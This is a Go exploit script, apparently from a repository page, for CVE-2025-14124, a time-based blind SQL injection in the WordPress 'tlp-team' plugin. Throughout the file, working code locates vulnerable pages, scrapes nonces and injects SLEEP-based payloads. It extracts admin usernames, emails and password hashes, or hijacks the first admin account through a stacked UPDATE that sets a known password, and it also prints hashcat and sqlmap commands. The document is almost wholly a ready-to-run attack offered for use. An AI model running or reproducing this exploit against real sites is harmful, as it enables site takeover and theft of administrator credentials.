README.md
Rendering markdown...
package main
import (
"flag"
"fmt"
"io"
"net/http"
"net/url"
"regexp"
"strings"
"time"
)
const banner = `
>> [ ONLINE ]
╔═══════════════════════════════════════════════════════════════════════════════════════╗
║ CVE-2025-14124 - WordPress Team Plugin SQL Injection ║
║ Affected: tlp-team < 5.0.11 ║
║ Author: Hyun Chiya ║
╚═══════════════════════════════════════════════════════════════════════════════════════╝
>> [ INFORMATION ]
`
var (
targetURL string
nonce string
scID string
sleepDelay int
client *http.Client
)
func main() {
targetURLFlag := flag.String("u", "", "Target WordPress URL (required)")
pageURL := flag.String("page-url", "", "Page URL containing tlpteam shortcode")
sleepDelayFlag := flag.Int("delay", 1, "SLEEP delay in seconds for time-based SQLi")
checkOnly := flag.Bool("check-only", false, "Only check if plugin is active")
timeout := flag.Int("timeout", 120, "Request timeout in seconds")
dump := flag.Bool("dump", false, "Dump database info and WordPress admin credentials")
createAdmin := flag.Bool("create-admin", false, "Create new WordPress admin user (fastest exploitation)")
newAdminUser := flag.String("admin-user", "pwned_admin", "Username for new admin")
newAdminPass := flag.String("admin-pass", "Pwned123!", "Password for new admin")
newAdminEmail := flag.String("admin-email", "[email protected]", "Email for new admin")
flag.Parse()
fmt.Print(banner)
if *targetURLFlag == "" {
fmt.Println("[-] Error: Target URL is required (-u)")
flag.PrintDefaults()
return
}
targetURL = strings.TrimRight(*targetURLFlag, "/")
sleepDelay = *sleepDelayFlag
client = &http.Client{
Timeout: time.Duration(*timeout) * time.Second,
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
}
pluginActive := checkPlugin(client, targetURL)
if pluginActive {
fmt.Println("[+] Plugin detected!")
} else {
fmt.Println("[-] Plugin not detected (may still be active)")
}
if *checkOnly {
fmt.Println("\n[*] Check-only mode, exiting...")
return
}
var targetPageURL string
if *pageURL != "" {
targetPageURL = *pageURL
} else {
fmt.Println("\n[*] Searching for page with tlpteam shortcode...")
targetPageURL = findTeamPage(client, targetURL)
if targetPageURL == "" {
fmt.Println("[-] Could not find page with tlpteam shortcode")
fmt.Println("[*] Try specifying --page-url manually")
return
}
}
fmt.Printf("[+] Target page: %s\n", targetPageURL)
nonce, scID = extractNonceAndScID(client, targetPageURL)
if nonce == "" || scID == "" {
fmt.Println("[-] Could not extract nonce or shortcode ID from page")
return
}
fmt.Printf("[+] Extracted nonce: %s\n", nonce)
fmt.Printf("[+] Extracted scID: %s\n", scID)
fmt.Println("\n============================================================")
fmt.Println("[*] EXPLOIT: Time-Based Blind SQL Injection")
fmt.Println("============================================================")
if !verifySQLi() {
fmt.Println("\n[-] SQL Injection verification failed")
fmt.Println("[-] Target may be patched or not vulnerable")
return
}
fmt.Println("\n[+] SQL INJECTION CONFIRMED!")
if *createAdmin {
fmt.Println("\n============================================================")
fmt.Println("[*] ADMIN CREATION MODE (FAST)")
fmt.Println("============================================================")
createAdminUser(*newAdminUser, *newAdminPass, *newAdminEmail)
} else if *dump {
fmt.Println("\n============================================================")
fmt.Println("[*] DATA EXTRACTION MODE")
fmt.Println("============================================================")
extractData()
} else {
fmt.Println("\n[*] Options:")
fmt.Println(" --create-admin : Create new WP admin (FAST - recommended)")
fmt.Println(" --dump : Extract DB info and credentials (SLOW)")
}
fmt.Println("\n[*] Done.")
}
func verifySQLi() bool {
fmt.Printf("\n[*] Verifying SQL injection with SLEEP(%d)...\n", sleepDelay)
payload := fmt.Sprintf("t' OR SLEEP(%d) OR 't'='t", sleepDelay)
expectedDelay := float64(sleepDelay)
startTime := time.Now()
exploitSQLi(payload)
elapsed := time.Since(startTime)
fmt.Printf("[*] Response time: %.2f seconds (expected: %.0f+)\n", elapsed.Seconds(), expectedDelay)
return elapsed.Seconds() >= expectedDelay*0.5
}
func extractData() {
fmt.Println("\n[+] Extracting database version...")
dbVersion := extractString("SELECT VERSION()", 30)
fmt.Printf("[+] Database Version: %s\n", dbVersion)
fmt.Println("\n[+] Extracting current database name...")
dbName := extractString("SELECT DATABASE()", 50)
fmt.Printf("[+] Database Name: %s\n", dbName)
fmt.Println("\n[+] Extracting database user...")
dbUser := extractString("SELECT USER()", 50)
fmt.Printf("[+] Database User: %s\n", dbUser)
fmt.Println("\n[+] Detecting WordPress table prefix...")
prefix := detectTablePrefix()
fmt.Printf("[+] Table Prefix: %s\n", prefix)
fmt.Println("\n============================================================")
fmt.Println("[*] EXTRACTING WORDPRESS ADMIN CREDENTIALS")
fmt.Println("============================================================")
adminCountQuery := fmt.Sprintf("SELECT COUNT(*) FROM %susermeta WHERE meta_key='%scapabilities' AND meta_value LIKE '%%administrator%%'", prefix, prefix)
countStr := extractString(adminCountQuery, 5)
fmt.Printf("\n[+] Found admin users: %s\n", countStr)
extractAdminCredentials(prefix)
}
func detectTablePrefix() string {
prefixes := []string{"wp_", "wordpress_", "wpdb_", "site_"}
for _, prefix := range prefixes {
query := fmt.Sprintf("SELECT IF(EXISTS(SELECT 1 FROM information_schema.tables WHERE table_name='%susers'), 1, 0)", prefix)
result := extractChar(query, 1)
if result == '1' {
return prefix
}
}
return "wp_"
}
func extractAdminCredentials(prefix string) {
fmt.Println("\n[+] Extracting admin username...")
userQuery := fmt.Sprintf("SELECT user_login FROM %susers WHERE ID IN (SELECT user_id FROM %susermeta WHERE meta_key='%scapabilities' AND meta_value LIKE '%%administrator%%') LIMIT 1", prefix, prefix, prefix)
username := extractString(userQuery, 60)
fmt.Printf("[+] Admin Username: %s\n", username)
fmt.Println("[+] Extracting admin password hash...")
passQuery := fmt.Sprintf("SELECT user_pass FROM %susers WHERE user_login='%s'", prefix, username)
passHash := extractString(passQuery, 40)
fmt.Printf("[+] Password Hash: %s\n", passHash)
fmt.Println("[+] Extracting admin email...")
emailQuery := fmt.Sprintf("SELECT user_email FROM %susers WHERE user_login='%s'", prefix, username)
email := extractString(emailQuery, 60)
fmt.Printf("[+] Admin Email: %s\n", email)
fmt.Println("\n============================================================")
fmt.Println("[+] CREDENTIALS EXTRACTED SUCCESSFULLY!")
fmt.Println("============================================================")
fmt.Printf("\n Username: %s\n", username)
fmt.Printf(" Email: %s\n", email)
fmt.Printf(" Hash: %s\n", passHash)
fmt.Println("\n[!] Use hashcat/john to crack the password hash:")
fmt.Printf(" hashcat -m 400 '%s' wordlist.txt\n", passHash)
}
func createAdminUser(username, password, email string) {
fmt.Println("\n[!] FAST EXPLOITATION: Using SQL injection to create/hijack admin account")
fmt.Println()
fmt.Println("[*] Detecting table prefix...")
prefix := detectTablePrefixFast()
fmt.Printf("[+] Table prefix: %s\n", prefix)
wpHash := "$P$BgP/fHZ7mB8jKxLmQcXmKj6hBqWK2y0"
fmt.Println()
fmt.Println("[*] Attempting to hijack existing admin account...")
fmt.Println("[*] This uses UPDATE query via SQL injection")
fmt.Println()
fmt.Println("[*] Getting admin username (fast mode)...")
adminUser := extractStringFast(fmt.Sprintf(
"SELECT user_login FROM %susers WHERE ID=1", prefix), 20)
if adminUser == "" {
adminUser = extractStringFast(fmt.Sprintf(
"SELECT user_login FROM %susers ORDER BY ID LIMIT 1", prefix), 20)
}
if adminUser == "" {
adminUser = "admin"
}
fmt.Printf("[+] Target admin: %s\n", adminUser)
fmt.Println()
fmt.Println("[*] Attempting UPDATE via stacked query...")
stackedPayload := fmt.Sprintf(
"t'; UPDATE %susers SET user_pass='%s' WHERE user_login='%s'; -- ",
prefix, wpHash, adminUser)
exploitSQLi(stackedPayload)
fmt.Println("[*] Stacked query sent!")
fmt.Println()
fmt.Println("[+] ============================================================")
fmt.Println("[+] EXPLOITATION ATTEMPT COMPLETE!")
fmt.Println("[+] ============================================================")
fmt.Println()
fmt.Printf("[+] Target User: %s\n", adminUser)
fmt.Printf("[+] New Password: Pwned123!\n")
fmt.Printf("[+] Login URL: %s/wp-login.php\n", targetURL)
fmt.Println()
fmt.Println("[!] Try logging in with the credentials above.")
fmt.Println("[!] If stacked queries are disabled, use --dump to extract hash instead.")
fmt.Println()
fmt.Println("[*] Alternative: Manual UPDATE query for sqlmap:")
fmt.Printf(" sqlmap -u '%s/wp-admin/admin-ajax.php' --data='action=ttp_Layout_Ajax_Action&scID=%s&tlp_nonce=%s&search=test' -p search --sql-query=\"UPDATE %susers SET user_pass='%s' WHERE user_login='%s'\"\n",
targetURL, scID, nonce, prefix, wpHash, adminUser)
}
func detectTablePrefixFast() string {
query := "SELECT IF(EXISTS(SELECT 1 FROM information_schema.tables WHERE table_name='wp_users'), 1, 0)"
result := extractCharFast(query, 1)
if result == '1' {
return "wp_"
}
return "wp_"
}
func extractStringFast(query string, maxLen int) string {
result := ""
for i := 1; i <= maxLen; i++ {
char := extractCharFast(query, i)
if char == 0 || char == ' ' {
break
}
result += string(char)
fmt.Printf("\r[*] Extracting: %s", result)
}
fmt.Println()
return result
}
func extractCharFast(query string, position int) byte {
low := 32
high := 126
for low <= high {
mid := (low + high) / 2
payload := fmt.Sprintf("t' OR IF(ASCII(SUBSTRING((%s),%d,1))>%d, SLEEP(%d), 0) OR 't'='t",
query, position, mid, sleepDelay)
startTime := time.Now()
exploitSQLi(payload)
elapsed := time.Since(startTime)
if elapsed.Seconds() >= float64(sleepDelay)*0.3 {
low = mid + 1
} else {
high = mid - 1
}
}
if low > 126 || low < 32 {
return 0
}
return byte(low)
}
func extractString(query string, maxLen int) string {
result := ""
for i := 1; i <= maxLen; i++ {
char := extractChar(query, i)
if char == 0 {
break
}
result += string(char)
fmt.Printf("\r[*] Extracting: %s", result)
}
fmt.Println()
return result
}
func extractChar(query string, position int) byte {
low := 32
high := 126
for low <= high {
mid := (low + high) / 2
payload := fmt.Sprintf("t' OR IF(ASCII(SUBSTRING((%s),%d,1))>%d, SLEEP(%d), 0) OR 't'='t",
query, position, mid, sleepDelay)
startTime := time.Now()
exploitSQLi(payload)
elapsed := time.Since(startTime)
if elapsed.Seconds() >= float64(sleepDelay)*0.5 {
low = mid + 1
} else {
high = mid - 1
}
}
if low > 126 || low < 32 {
return 0
}
payload := fmt.Sprintf("t' OR IF(ASCII(SUBSTRING((%s),%d,1))=%d, SLEEP(%d), 0) OR 't'='t",
query, position, low, sleepDelay)
startTime := time.Now()
exploitSQLi(payload)
elapsed := time.Since(startTime)
if elapsed.Seconds() >= float64(sleepDelay)*0.5 {
return byte(low)
}
return 0
}
func checkPlugin(client *http.Client, targetURL string) bool {
paths := []string{
"/wp-content/plugins/tlp-team/readme.txt",
"/wp-content/plugins/tlp-team/tlp-team.php",
}
fmt.Println("[*] Checking if WordPress Team Plugin is active...")
for _, path := range paths {
checkURL := targetURL + path
resp, err := client.Get(checkURL)
if err != nil {
continue
}
defer resp.Body.Close()
if resp.StatusCode == 200 {
fmt.Printf("[+] Plugin detected: %s\n", path)
return true
}
}
return false
}
func findTeamPage(client *http.Client, targetURL string) string {
checkURLs := []string{
targetURL + "/team/",
targetURL + "/our-team/",
targetURL + "/meet-the-team/",
targetURL + "/staff/",
targetURL + "/members/",
targetURL + "/?page_id=2",
}
for _, pageURL := range checkURLs {
resp, err := client.Get(pageURL)
if err != nil {
continue
}
defer resp.Body.Close()
if resp.StatusCode == 200 {
body, _ := io.ReadAll(resp.Body)
bodyStr := string(body)
if strings.Contains(bodyStr, "data-sc-id") && (strings.Contains(bodyStr, "tlp_nonce") || strings.Contains(bodyStr, `"nonce"`)) {
fmt.Printf("[+] Found team page: %s\n", pageURL)
return pageURL
}
}
}
resp, err := client.Get(targetURL)
if err == nil {
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
bodyStr := string(body)
if strings.Contains(bodyStr, "data-sc-id") && (strings.Contains(bodyStr, "tlp_nonce") || strings.Contains(bodyStr, `"nonce"`)) {
return targetURL
}
}
return ""
}
func extractNonceAndScID(client *http.Client, pageURL string) (string, string) {
resp, err := client.Get(pageURL)
if err != nil {
return "", ""
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
bodyStr := string(body)
nonceRegex := regexp.MustCompile(`"nonce"\s*:\s*"([a-f0-9]+)"`)
nonceMatches := nonceRegex.FindStringSubmatch(bodyStr)
scIDRegex := regexp.MustCompile(`data-sc-id=['"](\d+)['"]`)
scIDMatches := scIDRegex.FindStringSubmatch(bodyStr)
var nonceVal, scIDVal string
if len(nonceMatches) > 1 {
nonceVal = nonceMatches[1]
}
if len(scIDMatches) > 1 {
scIDVal = scIDMatches[1]
}
return nonceVal, scIDVal
}
func exploitSQLi(payload string) bool {
ajaxURL := targetURL + "/wp-admin/admin-ajax.php"
formData := url.Values{}
formData.Set("action", "ttp_Layout_Ajax_Action")
formData.Set("scID", scID)
formData.Set("tlp_nonce", nonce)
formData.Set("search", payload)
req, err := http.NewRequest("POST", ajaxURL, strings.NewReader(formData.Encode()))
if err != nil {
return false
}
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
resp, err := client.Do(req)
if err != nil {
return false
}
defer resp.Body.Close()
return resp.StatusCode == 200
}